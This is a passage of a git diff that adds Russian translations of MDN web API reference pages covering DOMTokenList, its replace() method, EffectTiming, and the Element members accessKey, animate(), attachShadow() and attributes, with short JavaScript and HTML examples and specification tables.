+ <dd>Возвращает <code>true</code> если список содержит отданный <em>токен</em>, иначе <code>false</code>.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Добавляет отданный <em>токен</em> в список.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Удаляет указанный <em>токен</em> из списка.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Заменяет существующий <em>токен</em> новым.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Возвращает <code>true</code> если отданный <em>токен </em>поддерживается токенами в связанном атрибуте</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Удаляет отданный <em>токен</em> из списка и возвращает </span></font>false</code>. Если <em>токена</em> не существует, то он добавляется и функция возвращает <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}} позволяя пройтись по всем парам ключ/значение хранящимся в объекте.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>Выполняет предусмотренную функцию к каждому элементу <code>DOMTokenList</code>.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем ключам всех пар ключ/значение, хранящихся в объекте.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем значениям пар ключ/значение, хранящихся в объектах.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем простом примере мы извлекаем список классов установленных в элементе {{htmlelement("p")}} как <code>DOMTokenList</code> используя {{domxref("Element.classList")}}, добавляем класс используя {{domxref("DOMTokenList.add()")}}, затем обновляем {{domxref("Node.textContent")}} в элементе <code>&lt;p&gt;</code> чтобы уравнять с <code>DOMTokenList</code>.</p>
+
+<p>Сперва HTML:</p>
+
+<pre class="brush: html">&lt;p class="a b c"&gt;&lt;/p&gt;</pre>
+
+<p>Теперь JavaScript:</p>
+
+<pre class="brush: js">var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Обрезка_пробелов_и_удаление_дупликатов">Обрезка пробелов и удаление дупликатов</h2>
+
+<p>Метод, который модифицирует <code>DOMTokenList</code> (как {{domxref("DOMTokenList.add()")}}) автоматически обрезает все излишки {{Glossary("Whitespace")}} и удаляет значения дупликатов из списка. Пример: </p>
+
+<pre class="brush: html">&lt;span class="    d   d e f"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden"></div>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста проверьте в <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и сделайте pull запрос.</div>
+
+<p>{{Compat("api.DOMTokenList")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (объект который расширяет <code>DOMTokenList</code> с установленным <em>.value</em> параметром)</li>
+</ul>
diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html
new file mode 100644
index 0000000000..1a9c51f16b
--- /dev/null
+++ b/files/ru/web/api/domtokenlist/replace/index.html
@@ -0,0 +1,95 @@
+---
+title: DOMTokenList.replace()
+slug: Web/API/DOMTokenList/replace
+translation_of: Web/API/DOMTokenList/replace
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <code><strong>replace()</strong></code> интерфейса {{domxref("DOMTokenList")}} заменяет существующий класс на новый класс. Если первый не существует, то <code>replace()</code> сразу же возрващает <code>false</code>, без добавления нового класса в список классов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>oldToken</var></code></dt>
+ <dd>{{domxref("DOMString")}} - класс, который вы хотите заменить.</dd>
+ <dt><code><var>newToken</var></code></dt>
+ <dd>{{domxref("DOMString")}} класс, которым вы хотите заменить класс <code><var>oldToken</var></code>.</dd>
+</dl>
+
+<h3 id="Возвращает_значение">Возвращает значение</h3>
+
+<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменен, или <code>false</code> в противном случе.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: В старых браузерах <code>replace()</code> возвращает void.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>В следующем примере мы получаем список классов, установленных в элементе</span></span></span> {{htmlelement("span")}} как <code>DOMTokenList</code>, используя {{domxref("Element.classList")}}. Затем мы заменяем класс в списке и записываем список в {{domxref("Node.textContent")}}, принадлежащий <code>&lt;span&gt;</code>.</p>
+
+<p>В HTML:</p>
+
+<pre class="brush: html notranslate">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>В JavaScript:</p>
+
+<pre class="brush: js notranslate">let span = document.querySelector("span");
+let classes = span.classList;
+
+let result = classes.replace("c", "z");
+console.log(result);
+
+if (result) {
+  span.textContent = classes;
+} else {
+  span.textContent = 'token not replaced successfully';
+}</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Результат выглядит так:</span></span></span></p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Следующий полифилл добавит метод replace в класс <code>DOMTokenList</code>.  Селудющий код будет работать только с <strong>IE10-11</strong>. Чтобы использовать с более ранними версиями IE, обратитесь к полифиллу по {{domxref("element.classList#Polyfill")}}</p>
+
+<pre class="brush: js notranslate"><code>DOMTokenList.prototype.replace = function (a, b) {
+    if (this.contains(a)) {
+        this.add(b);
+        this.remove(a);
+        return true;
+    }
+    return false;
+}</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-replace','replace()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первоначальное опредение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.DOMTokenList.replace")}}</p>
+</div>
diff --git a/files/ru/web/api/effecttiming/index.html b/files/ru/web/api/effecttiming/index.html
new file mode 100644
index 0000000000..5949858a47
--- /dev/null
+++ b/files/ru/web/api/effecttiming/index.html
@@ -0,0 +1,73 @@
+---
+title: EffectTiming
+slug: Web/API/EffectTiming
+tags:
+  - API
+  - Animation
+  - Dictionary
+  - EffectTiming
+  - Experimental
+  - animate
+  - web animation
+  - web animation api
+translation_of: Web/API/EffectTiming
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p>Словарь <strong><code>EffectTiming</code></strong>, входящий в состав <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>, используется в {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, и {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} для описания временных свойств анимационных эфектов. Все эти свойства необязательные, хотя без установки <code>duration</code> анимация не будет воспроизводиться.</p>
+
+<p>Проще говоря, эти свойства описывают как {{Glossary("user agent")}} должен выполнять переход от ключевого кадра к ключевому кадру, и как вести себя, когда анимация начинается и заканчивается.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("EffectTiming.delay", "delay")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд для задержки начала анимации. По умолчанию <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.direction", "direction")}} {{optional_inline}}</dt>
+ <dd>Указывает направление анимации. Она может выполняться вперёд (<code>normal</code>), назад (<code>reverse</code>), переключать направление после каждой итерации (<code>alternate</code>), или работать назад и переключать после каждой итерации (<code>alternate-reverse</code>). По умолчанию <code>"normal"</code>.</dd>
+ <dt>{{domxref("EffectTiming.duration", "duration")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд, в течении которых выполняется каждая итерация анимации. По умолчанию 0. Хотя это свойство технически необязательное, имейте ввиду, что ваша анимация не будет запущена, если это значение равно <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.easing", "easing")}} {{optional_inline}}</dt>
+ <dd>Скорость изменения анимации с течением времени. Принимает заранее определённые значения <code>"linear"</code>, <code>"ease"</code>, <code>"ease-in"</code>, <code>"ease-out"</code>, и <code>"ease-in-out"</code>, или кастомное <code>"cubic-bezier"</code> со значением типа <code>"cubic-bezier(0.42, 0, 0.58, 1)"</code>. По умолчанию <code>"linear"</code>.</dd>
+ <dt>{{domxref("EffectTiming.endDelay", "endDelay")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд задержки после окончания анимации. Это в первую очередь полезно, когда последовательность действий анимации базируется на окончании другой анимации. По умолчанию <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.fill", "fill")}} {{optional_inline}}</dt>
+ <dd>Диктует должны ли эффекты анимации отражаться элементом(ами) перед воспроизведением (<code>"backwards"</code>), сохраняться после того, как анимация завершилась (<code>"forwards"</code>), или и то и другое ("<code>both")</code>. По умолчанию <code>"none"</code>.</dd>
+ <dt>{{domxref("EffectTiming.iterationStart", "iterationStart")}} {{optional_inline}}</dt>
+ <dd>Описывает, в какой момент итерации должна начаться анимация. Например, значение 0.5 указывает на начало запуска анимации в середине первой итерации, с таким набором значений анимация с 2-мя итерациями будет закончена на полпути к третей итерации. По умолчанию <code>0.0</code>.</dd>
+ <dt>{{domxref("EffectTiming.iterations", "iterations")}} {{optional_inline}}</dt>
+ <dd>Число раз, которое анимация должна повторяться. По умолчанию <code>1</code>, может принимать значение до {{jsxref("Infinity")}}, чтобы повторять анимацию до тех пор, пока элемент существует.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-effecttiming-dictionaries', 'EffectTiming' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EffectTiming")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Using the Web Animations API</a></li>
+ <li>{{domxref("Element.animate()")}}</li>
+ <li>{{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}}</li>
+ <li>{{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/accesskey/index.html b/files/ru/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..8ba1a39596
--- /dev/null
+++ b/files/ru/web/api/element/accesskey/index.html
@@ -0,0 +1,73 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <font face="Consolas, Monaco, Andale Mono, monospace"><strong>accessKey</strong></font> позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.</p>
+
+<div class="note">
+<p>По сути, <strong>accessKey </strong>задает значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноименного атрибута</a>...</p>
+</div>
+
+<div class="warning">
+<p>Данное свойство использовать не рекоммендуется, поскольку в браузерах уже заданы подобные привязки и неосторожное обращение может привести к жестокому конфликту.</p>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var key = elem.accessKey;
+elem.accessKey = key;
+</pre>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var elem = document.getElementById("id");
+elem.accessKey = "w";
+</pre>
+
+<h2 id="Немного_информации">Немного информации</h2>
+
+<p>Фокусировка на элемент произойдет при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p>
+
+<table class="standard-table" style="height: 252px; width: 388px;">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Браузер"><strong>      Браузер</strong></h3>
+   </td>
+   <td>
+    <h3 id="Сочетание">      Сочетание</h3>
+   </td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>[Alt] [Shift] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>[Shift] [Esc] + <em>accesskey</em></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/element/animate/index.html b/files/ru/web/api/element/animate/index.html
new file mode 100644
index 0000000000..04f7a3bad6
--- /dev/null
+++ b/files/ru/web/api/element/animate/index.html
@@ -0,0 +1,117 @@
+---
+title: Element.animate()
+slug: Web/API/Element/animate
+tags:
+  - API
+  - Animation
+  - Element
+  - Experimental
+  - Method
+  - Reference
+  - web animation
+translation_of: Web/API/Element/animate
+---
+<div>{{APIRef('Web Animations')}} {{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>animate()</code> </strong>интерфейса<strong> </strong>{{domxref("Element")}} это быстрый способ создания {{domxref("Animation")}}, которая сразу применяется к элементу, а затем проигрывает эту анимацию. Метод возвращает созданный экземпляр класса {{domxref("Animation")}}.</p>
+
+<div class="note">
+<p>Элементы  могут иметь несколько, прикреплённых к ним, анимаций. Вы можете получить список анимаций, которые влияют на элемент, вызвав {{domxref("Element.getAnimations()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>animation</em> = element.animate(<em>keyframes</em>, <em>options</em>); </pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>keyframes</code></dt>
+ <dd>
+ <p>Массив объектов ключевых кадров, <strong>либо </strong>объект ключевого кадра, свойства которого являются массивами значений для итерации. Смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Formats</a> для получения подробной информации.</p>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>Целое число<strong>, представляющее продолжительность анимации </strong>(в миллисекундах), <strong>или</strong> объект, содержащий одно или более временных свойств.</dd>
+ <dd>
+ <dl>
+  <dt><code>id {{optional_inline}}</code></dt>
+  <dd>Свойство уникальное для <code>animate()</code>: <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String.">DOMString</a></code>, с помощью которого можно ссылаться на анимацию.</dd>
+ </dl>
+ {{Page("ru/docs/Web/API/EffectTiming", "Свойства")}}</dd>
+</dl>
+
+<h4 id="Будущие_возможности">Будущие возможности</h4>
+
+<p>Следующие возможности в настоящее <strong>нигде не поддерживаются</strong>, но будут добавлены в <strong>ближайшем будущем </strong>.</p>
+
+<dl>
+ <dt><code>composite {{optional_inline}}</code></dt>
+ <dd>Определяет, как значения объединяются между этой анимацией и другими отдельными анимациями, которые не задают свою собственную конкретную составную операцию. По умолчанию <code>replace</code>.
+ <ul>
+  <li><code>add</code> диктует аддитивный эффект, где каждая последующая итерация строится на последней. Пример с <code>transform</code>, <code>translateX(-200px)</code> не будут переопределять ранний вариант со значением <code>rotate(20deg)</code>, поэтому результат будет <code>translateX(-200px) rotate(20deg)</code>.</li>
+  <li><code>accumulate</code> схоже, но немного умнее: <code>blur(2)</code> и <code>blur(5)</code> станет <code>blur(7)</code>, а не <code>blur(2) blur(5)</code>.</li>
+  <li><code>replace</code> переписывает предыдущие значения на новые.</li>
+ </ul>
+ </dd>
+ <dt><code>iterationComposite {{optional_inline}}</code></dt>
+ <dd>Определяет как значения строятся от итерации к итерации в этой анимации. Может быть установлено как <code>accumulate</code> или <code>replace</code> (смотрите выше). По умолчанию <code>replace</code>.</dd>
+ <dt><code>spacing {{optional_inline}}</code></dt>
+ <dd>Определяет как ключевые кадры, без временных смещений, должны распределяться по всей длительности анимации. По умолчанию <code>distribute</code>.
+ <ul>
+  <li><code>distribute</code> позиционирует ключевые кадры так, чтобы разница между последующими смещениями ключевых кадров была равна, то есть без каких-либо смещений, ключевые кадры будут равномерно распеределены по всему времени проигрыша анимации.</li>
+  <li><code>paced</code> позиционирует ключевые кадры так, чтобы расстояние между последующими значениями заданного темпового свойства было равным, то есть, чем больше разница в значениях свойств ключевых кадров, тем на большем расстоянии они расположены друг от друга.</li>
+ </ul>
+
+ <p><img alt="" src="https://w3c.github.io/web-animations/img/spacing-distribute.svg" style="height: 210px; width: 200px;"> <img alt=" " src="https://w3c.github.io/web-animations/img/spacing-paced.svg" style="height: 210px; width: 200px;"></p>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает {{domxref("Animation")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В демо <a href="https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010">Down the Rabbit Hole (with the Web Animation API)</a>, мы используем удобный метод <code>animate()</code>, чтобы сразу создать и проиграть анимацию на элементе <code>#tunnel</code>, чтобы заставить его крутиться в падении, бесконечно. Обратите внимание на массив объектов, в котором переданы ключевые кадры, а также блок временных параметров.</p>
+
+<pre class="brush: js">document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translate3D(0, 0, 0)' },
+  { transform: 'translate3D(0, -300px, 0)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+})
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется на основе структурированных данных. Если вы хотите внесим свой вклад в эти данные, пожалуйста, перейдите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.Element.animate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Element.getAnimations()")}}</li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html
new file mode 100644
index 0000000000..39d19a42ef
--- /dev/null
+++ b/files/ru/web/api/element/attachshadow/index.html
@@ -0,0 +1,151 @@
+---
+title: Element.attachShadow()
+slug: Web/API/Element/attachShadow
+translation_of: Web/API/Element/attachShadow
+---
+<p>{{APIRef('Shadow DOM')}} {{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>Element.attachShadow()</code></strong> добавляет<span id="result_box" lang="ru"><span> теневое DOM дерево к указанному элементу и возвращает ссылку на его </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot" title="Use Element.attachShadow to create an instance of shadow DOM. When shadow DOM is created, it is always attached to an existing element. After the shadow DOM is created, the element that it is attached to is called the shadow root."><code>ShadowRoot</code></a>( корневой элемент созданного дерева).</p>
+
+<h4 id="Элементы_которые_можно_добавить_в_тенейвой_DOM">Элементы которые можно добавить в тенейвой DOM</h4>
+
+<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешенных элементов:</p>
+
+<ul>
+ <li>Любой пользовательский элемент с <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">валидным именем</a></li>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("blockquote")}}</li>
+ <li>{{htmlelement("body")}}</li>
+ <li>{{htmlelement("div")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("h1")}}</li>
+ <li>{{htmlelement("h2")}}</li>
+ <li>{{htmlelement("h3")}}</li>
+ <li>{{htmlelement("h4")}}</li>
+ <li>{{htmlelement("h5")}}</li>
+ <li>{{htmlelement("h6")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("p")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("span")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shadowroot =</em><em> element</em>.attachShadow(<em>shadowRootInit</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>shadowRootInit</code></dt>
+ <dd><code>ShadowRootInit</code> содержит следующие поля:
+ <p><code>mode</code>: Строка указывающая на режим инкапсуляции для shadowDOM:</p>
+
+ <ul>
+  <li><code>open.  </code>Указывает на открытие режима инкапсуляции.<br>
+   Это означает что элементы shadowRoot доступны для внешнего мира <em>element.shadowRoot</em><br>
+
+   <pre>element.shadowRoot === shadowroot; // returns true</pre>
+  </li>
+  <li><code>closed.</code> Указывает на закрытие режима инкапсуляции.<br>
+   Этот режим запрещает доступ к узлам node(s) и закрыват теневой корень для внешнего мира<br>
+
+   <pre>element.shadowRoot === shadowroot; // returns false
+element.shadowRoot === null; // returns true
+</pre>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Вернёт a {{domxref("ShadowRoot")}} или null.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Исключение</td>
+   <td>Описание</td>
+  </tr>
+  <tr>
+   <td>InvalidStateError</td>
+   <td>Элемент уже является хостом теневого DOM</td>
+  </tr>
+  <tr>
+   <td>NotSupportedError</td>
+   <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некоректным именем, или к запрещенному элементу. (см. выше)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow()  примерно в середине кода. Метод создает корневой элемент теневого DOM  к которому потом добавляется содержимое шаблона элемента.</p>
+
+<pre class="brush: js"><code>//Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();</code>
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attachshadow', 'attachShadow()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{Compat("api.Element.attachShadow")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ru/web/api/element/attributes/index.html b/files/ru/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..24564c8e24
--- /dev/null
+++ b/files/ru/web/api/element/attributes/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.attributes
+slug: Web/API/Element/attributes
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>Element.attributes</code></strong> возвращает группу атрибутов всех узлов, зарегистрированных в указанном узле. Это {{domxref("NamedNodeMap")}}, тоесть полученные данные не являются массивом <code>Array</code>, не содержат {{jsxref("Array")}} методы и {{domxref("Attr")}} индекс узлов может отличаться в различных браузерах. Если сказать более точно, атрибуты <font face="Courier New, Andale Mono, monospace"><strong>(</strong></font><strong style="font-family: courier new,andale mono,monospace; font-weight: bold;">attributes</strong><font face="Courier New, Andale Mono, monospace"><strong>)</strong></font> это строка, пара ключ/значение которая представляет собой информацию относительно этого атрибута.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="Базовые_примеры">Базовые примеры</h3>
+
+<pre class="brush: js">// Получить первый элемент &lt;p&gt; содержащийся в документе
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;</pre>
+
+<h3 id="Notes" name="Notes">Перечисление атрибутов элементов</h3>
+
+<p>Числовое индексирование полезно для прохождения всех атрибутов элемента.<br>
+ Следующий пример проходит через узлы атрибутов для элемента в документе с идентификатором «p1» и печатает значение каждого атрибута. </p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // Во-первых,  давайте убедимся, что в абзаце есть какие-то атрибуты
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i &gt;= 0; i--) {
+         output += attrs[i].name + "-&gt;" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No attributes to show";
+     }
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="paragraph" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;input type="button" value="Show first attribute name and value"
+      onclick="listAttributes();"&gt;
+    &lt;input id="result" type="text" value=""&gt;
+  &lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}</td>
+  </tr>
+  <tr>
